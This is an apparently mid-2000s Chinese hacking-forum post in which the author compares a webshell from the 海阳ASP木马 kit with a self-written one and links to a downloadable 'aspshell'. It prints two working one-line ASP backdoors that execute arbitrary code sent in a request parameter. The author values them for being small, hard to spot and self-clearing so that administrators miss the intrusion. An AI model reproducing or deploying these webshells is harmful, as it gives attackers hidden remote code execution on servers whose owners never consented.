注册
登录
| 关键词： 代码 木马 服务 nbsp asp 而且 时间 2006 Ann 海阳 |
作者：Ann 本人.一个贫苦大学毕业小生从小酷爱电脑.大3迷恋上asp编程.可惜智商不高,苦学3年无功而返. 但唯一用心的两个毕业作品为 1.简单在线考试系统, 2.asp带服务端的shell(开发时间2004年6月正好是我毕业的时间) ,可惜作品2被校放退回,退回原因"无语",就这样这个shell服务端构想一直没有公布 可是前天我从网络下载(海阳ASP木马2006α)突然发现附带了两个应用程序分别为2006X.exe和2006Z.exe 而且发现2006X.exe升成的木马服务端与我的构想非常相似而且代码也稍有不同.代码如下 '这个是海洋的 <script language="vbscript" runat="server">If Request("123")<>"" Then Session("lcxMarcos")=Request("123")If Session("lcxMarcos")<>"" Then Execute(Session("lcxMarcos"))</script> '下面是我的确是我自创的.还没发布呢..<% if session("Ann")="" or Request("admin")<>"" then session("Ann")=Request("admin")ExecuteGlobal("On Error Resume Next:"&session("Ann"))%> 利用原理完全一样递交没有<%%>的asp代码 我的是给Ann 海洋的是123(并且还加了密码验证) 原来我们都是受到了 那个叫什么狐的最小而且带服务端的aspjava木马的启发.总觉得咱们中国hacker好象被某种力量或者绳索牵引似的.我自我感觉我门可以完全摆脱着写代码和规矩的束缚,想象是无限.写那段代码的原因是.以前值入的木马都因为残留在服务器或者某些程序里而被管理员发现他已经被入侵.能不能有什么办法可以自动清除的. 我们俩的代码的唯一特点就是 第一自由递交各类木马,,很特别的功能是关闭后会自动清楚,服务端小,易隐藏.不过我看着个这个方法很快也会被个大查渡软件盯上..写程序和hack不一定就要靠硬功底.经验是一方面 我觉得中国的hack 思维应该在向前开拓一下.我只想小的溜的影响一下大家的思维方式 我把我 刚学asp 1个星期连写带改的 处女aspshell给大家.以下只是一个不完成品因为本人实在没有时间在改了 http://bbs.shengan.net.cn/viewFile.asp?Boardid=2&ID=128( 点击浏览该文件) QQ:273797999by:Ann |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
